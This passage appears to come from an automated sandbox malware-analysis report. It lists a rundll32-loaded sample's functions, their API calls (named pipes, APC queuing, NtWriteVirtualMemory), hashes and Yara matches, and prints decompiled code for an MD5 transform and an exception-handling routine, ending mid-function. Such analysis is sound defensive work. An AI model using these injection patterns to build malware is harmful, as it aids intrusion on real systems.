                                            Function 05DD4DF5 Relevance: 6.0, APIs: 4, Instructions: 45pipeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateNamedPipeA.KERNEL32(40000003,00000004,000000FF,00000100,00000100,00000000,05DF9208,00000001), ref: 05DD4E19
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DD4E64
                                              • Part of subcall function 05DE6B34: CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,05DDA82F), ref: 05DE6B4B
                                              • Part of subcall function 05DE6B34: QueueUserAPC.KERNEL32(00000000,00000000,?,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B60
                                              • Part of subcall function 05DE6B34: GetLastError.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B6B
                                              • Part of subcall function 05DE6B34: TerminateThread.KERNEL32(00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B75
                                              • Part of subcall function 05DE6B34: CloseHandle.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B7C
                                              • Part of subcall function 05DE6B34: SetLastError.KERNEL32(00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DE6B85
                                            • GetLastError.KERNEL32(05DDC7AE,00000000,00000000,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DD4E4C
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DD4E5C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$CloseCreateHandleThread$NamedPipeQueueTerminateUser
                                            • String ID:
                                            • API String ID: 1700061692-0
                                            • Opcode ID: f52c0ca9a9e2baec8daa1a2de77cc00dc4b1ce748c289cadcb0ea1aa13a08ba0
                                            • Instruction ID: d4ebfeb72405e393f3c7e261f8ace1043f1f324815dfc05e0ac9c045ab36f550
                                            • Opcode Fuzzy Hash: f52c0ca9a9e2baec8daa1a2de77cc00dc4b1ce748c289cadcb0ea1aa13a08ba0
                                            • Instruction Fuzzy Hash: 87F0D171316200BFE7105BAC9C49E677B58EB84230F110237FA26C2380CBB04C55CB74
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE264B Relevance: 4.5, APIs: 3, Instructions: 45nativethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtQueryInformationThread.NTDLL(?,00000000,?,0000001C,00000000), ref: 05DE265F
                                            • GetLastError.KERNEL32(?,?,?,0000001C,?), ref: 05DE269F
                                              • Part of subcall function 05DEB628: NtWriteVirtualMemory.NTDLL(00000318,00000000,00000000,00001003,05DD7B0A,00000000,?,05DD7B0A,00001003,00000000,00000000,00000318,00000020,?,00010003,00001003), ref: 05DEB646
                                            • RtlNtStatusToDosError.NTDLL(00000000), ref: 05DE26A8
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$InformationLastMemoryQueryStatusThreadVirtualWrite
                                            • String ID:
                                            • API String ID: 4036914670-0
                                            • Opcode ID: 2ce5c3a12847452b7ec2532f0ef24455a932088339d29130249ec7010ae76eec
                                            • Instruction ID: 574379631faee4c54c13cbf06a09d9241fff7799b70e02cdbc98d42354c224c8
                                            • Opcode Fuzzy Hash: 2ce5c3a12847452b7ec2532f0ef24455a932088339d29130249ec7010ae76eec
                                            • Instruction Fuzzy Hash: 8F011D76A00108FFEF11ABA5DD09DEFBBBEEB85700F00002AF941E2150EB75D9149B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD1B92 Relevance: 3.0, APIs: 2, Instructions: 48nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtQuerySystemInformation.NTDLL(00000005,00000000,00010000,00010000), ref: 05DD1BC3
                                            • RtlNtStatusToDosError.NTDLL(C000009A), ref: 05DD1BFA
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFreeHeapInformationQueryStatusSystem
                                            • String ID:
                                            • API String ID: 2533303245-0
                                            • Opcode ID: 3bb399c147bec92f2d77764e3c22215497dee60aa91696fb715bf2b87979d31c
                                            • Instruction ID: fa342a0af7f2ae0b56067083e75afea7194d5f517ed6cbcdd0f3a889e785c788
                                            • Opcode Fuzzy Hash: 3bb399c147bec92f2d77764e3c22215497dee60aa91696fb715bf2b87979d31c
                                            • Instruction Fuzzy Hash: 0101A233906124ABCB219AD58D08EAFFA69EFC7A52F030017FD02A3200E771CA04D6F0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA085 Relevance: 3.0, APIs: 2, Instructions: 37nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DDA0A4
                                            • NtQueryInformationProcess.NTDLL(00000000,00000000,?,00000018,00000000), ref: 05DDA0BC
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InformationProcessQuerymemset
                                            • String ID:
                                            • API String ID: 2040988606-0
                                            • Opcode ID: 6d52ed8af4e748d06ddd0fc2895cd22ab124b8165e3d0b2eb6108fdce2ddb2b9
                                            • Instruction ID: 9bf8593cef0697017fe612a8d855cced3f87038cd4fec36c05d0aee59e3df611
                                            • Opcode Fuzzy Hash: 6d52ed8af4e748d06ddd0fc2895cd22ab124b8165e3d0b2eb6108fdce2ddb2b9
                                            • Instruction Fuzzy Hash: 2FF0FF76A00218AADB10EA95CC49FEEBB6CEB05740F408061BA08E6191E774DB559BA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEC1C2 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlNtStatusToDosError.NTDLL(C0000002), ref: 05DEC1EF
                                            • SetLastError.KERNEL32(00000000,?,05DD28F4,?,?,?,00000040,?), ref: 05DEC1F6
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$LastStatus
                                            • String ID:
                                            • API String ID: 4076355890-0
                                            • Opcode ID: be828d0600407f9eed834a2a67a2c9e5121bddaf4049a480648228c6d013ca88
                                            • Instruction ID: aa01f7c40b12a3d539cc8d7d994cf9eedb2247a83727afdae8e5c1a6339a07af
                                            • Opcode Fuzzy Hash: be828d0600407f9eed834a2a67a2c9e5121bddaf4049a480648228c6d013ca88
                                            • Instruction Fuzzy Hash: 0AE09A3621525AABCF116EED9C05D9F7F69FF09651B008022BE05D6231DB31D961ABA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEC3A9 Relevance: 2.9, APIs: 2, Instructions: 416COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DEC783
                                            • memset.NTDLL ref: 05DEC792
                                              • Part of subcall function 05DE18FC: memset.NTDLL ref: 05DE190D
                                              • Part of subcall function 05DE18FC: memset.NTDLL ref: 05DE1919
                                              • Part of subcall function 05DE18FC: memset.NTDLL ref: 05DE1944
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset
                                            • String ID:
                                            • API String ID: 2221118986-0
                                            • Opcode ID: 4270f02eb92defb9d83c35f2a1f3120725169ebc5706e52a5930cd2b77a8110b
                                            • Instruction ID: 0e7746bc115de60714f1a673c1c4b13fea6295fc759dbd453f6500acaf2a9e5e
                                            • Opcode Fuzzy Hash: 4270f02eb92defb9d83c35f2a1f3120725169ebc5706e52a5930cd2b77a8110b
                                            • Instruction Fuzzy Hash: 91023F70621B61DFC779EF29C684927BBF1BF556107605E2EC6E786AA0D231F881CB04
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE84D9 Relevance: 1.9, APIs: 1, Instructions: 611COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset
                                            • String ID:
                                            • API String ID: 2221118986-0
                                            • Opcode ID: fc750f3eb89d9d2a8a86cca6900e87b20db082a145dca28283854832f4a92147
                                            • Instruction ID: a05f2188482a33196f7b19c4d68d3598688b38971605cf6130e77d0a2844e83b
                                            • Opcode Fuzzy Hash: fc750f3eb89d9d2a8a86cca6900e87b20db082a145dca28283854832f4a92147
                                            • Instruction Fuzzy Hash: 4022847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB198A Relevance: 1.9, APIs: 1, Instructions: 611COMMONCrypto
                                            Download Yara Rule
                                            C-Code - Quality: 49%
                                            			E04AB198A(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}


































































































                                            0x04ab198d
                                            0x04ab1998
                                            0x04ab199b
                                            0x04ab199e
                                            0x04ab199f
                                            0x04ab19bd
                                            0x04ab19bf
                                            0x04ab19c2
                                            0x04ab19c5
                                            0x04ab19c5
                                            0x04ab19c8
                                            0x04ab19c8
                                            0x04ab19cb
                                            0x04ab19cb
                                            0x04ab19ce
                                            0x04ab19ce
                                            0x04ab19eb
                                            0x04ab19ee
                                            0x04ab1a04
                                            0x04ab1a07
                                            0x04ab1a21
                                            0x04ab1a24
                                            0x04ab1a3a
                                            0x04ab1a3d
                                            0x04ab1a3f
                                            0x04ab1a57
                                            0x04ab1a5a
                                            0x04ab1a5d
                                            0x04ab1a75
                                            0x04ab1a78
                                            0x04ab1a92
                                            0x04ab1a95
                                            0x04ab1aab
                                            0x04ab1aae
                                            0x04ab1ab0
                                            0x04ab1ac8
                                            0x04ab1acd
                                            0x04ab1ad0
                                            0x04ab1ae6
                                            0x04ab1ae9
                                            0x04ab1b03
                                            0x04ab1b06
                                            0x04ab1b1c
                                            0x04ab1b1f
                                            0x04ab1b21
                                            0x04ab1b3c
                                            0x04ab1b3f
                                            0x04ab1b56
                                            0x04ab1b59
                                            0x04ab1b5d
                                            0x04ab1b76
                                            0x04ab1b79
                                            0x04ab1b7b
                                            0x04ab1b7e
                                            0x04ab1b99
                                            0x04ab1b9c
                                            0x04ab1bb5
                                            0x04ab1bb8
                                            0x04ab1bc8
                                            0x04ab1bcb
                                            0x04ab1be3
                                            0x04ab1be6
                                            0x04ab1c00
                                            0x04ab1c03
                                            0x04ab1c1b
                                            0x04ab1c1e
                                            0x04ab1c34
                                            0x04ab1c37
                                            0x04ab1c4f
                                            0x04ab1c52
                                            0x04ab1c6a
                                            0x04ab1c6d
                                            0x04ab1c87
                                            0x04ab1c8a
                                            0x04ab1ca0
                                            0x04ab1ca3
                                            0x04ab1cbb
                                            0x04ab1cbe
                                            0x04ab1cd8
                                            0x04ab1cdb
                                            0x04ab1cf3
                                            0x04ab1cf6
                                            0x04ab1d0c
                                            0x04ab1d0f
                                            0x04ab1d27
                                            0x04ab1d2a
                                            0x04ab1d42
                                            0x04ab1d45
                                            0x04ab1d57
                                            0x04ab1d5a
                                            0x04ab1d6c
                                            0x04ab1d6f
                                            0x04ab1d81
                                            0x04ab1d84
                                            0x04ab1d88
                                            0x04ab1d98
                                            0x04ab1d9b
                                            0x04ab1da9
                                            0x04ab1dac
                                            0x04ab1dbe
                                            0x04ab1dc1
                                            0x04ab1dd5
                                            0x04ab1dd8
                                            0x04ab1dda
                                            0x04ab1dea
                                            0x04ab1ded
                                            0x04ab1dff
                                            0x04ab1e02
                                            0x04ab1e10
                                            0x04ab1e13
                                            0x04ab1e25
                                            0x04ab1e28
                                            0x04ab1e2c
                                            0x04ab1e3c
                                            0x04ab1e3f
                                            0x04ab1e51
                                            0x04ab1e54
                                            0x04ab1e62
                                            0x04ab1e65
                                            0x04ab1e77
                                            0x04ab1e7a
                                            0x04ab1e8c
                                            0x04ab1e8f
                                            0x04ab1ea3
                                            0x04ab1ea6
                                            0x04ab1eba
                                            0x04ab1ebd
                                            0x04ab1ed1
                                            0x04ab1ed4
                                            0x04ab1ee8
                                            0x04ab1eeb
                                            0x04ab1eff
                                            0x04ab1f02
                                            0x04ab1f16
                                            0x04ab1f1b
                                            0x04ab1f2d
                                            0x04ab1f30
                                            0x04ab1f44
                                            0x04ab1f47
                                            0x04ab1f5b
                                            0x04ab1f5e
                                            0x04ab1f74
                                            0x04ab1f77
                                            0x04ab1f8b
                                            0x04ab1f8e
                                            0x04ab1fa0
                                            0x04ab1fa3
                                            0x04ab1fb7
                                            0x04ab1fba
                                            0x04ab1fce
                                            0x04ab1fd1
                                            0x04ab1fe5
                                            0x04ab1fee
                                            0x04ab1ff1
                                            0x04ab1ffa
                                            0x04ab2003
                                            0x04ab200b
                                            0x04ab2013
                                            0x04ab201d
                                            0x04ab2032

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memset
                                            • String ID:
                                            • API String ID: 2221118986-0
                                            • Opcode ID: 668d1cf50dd3503a056f93744feca511f7f68e9204d6a8be59307995ef794564
                                            • Instruction ID: c7ff4e94899bf21b4a5014796b362bdf3d277363456a09a7f194d8c9659570cd
                                            • Opcode Fuzzy Hash: 668d1cf50dd3503a056f93744feca511f7f68e9204d6a8be59307995ef794564
                                            • Instruction Fuzzy Hash: 3822847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF0B0E Relevance: 1.8, Strings: 1, Instructions: 575COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID: 0-3916222277
                                            • Opcode ID: a5bb91ed546e73990e69cae9c36a0ed97732704da186233e5ff4bcaecf3644bc
                                            • Instruction ID: d844872001001dcfbe33c05c72cbe2b329b751f13c51a092b217013b6314adb1
                                            • Opcode Fuzzy Hash: a5bb91ed546e73990e69cae9c36a0ed97732704da186233e5ff4bcaecf3644bc
                                            • Instruction Fuzzy Hash: 4742AC30A04B45CFCB25CFA9C494ABAB7F2FF49304F55896ED58B9B652D334A586CB00
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB8441 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB8441(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
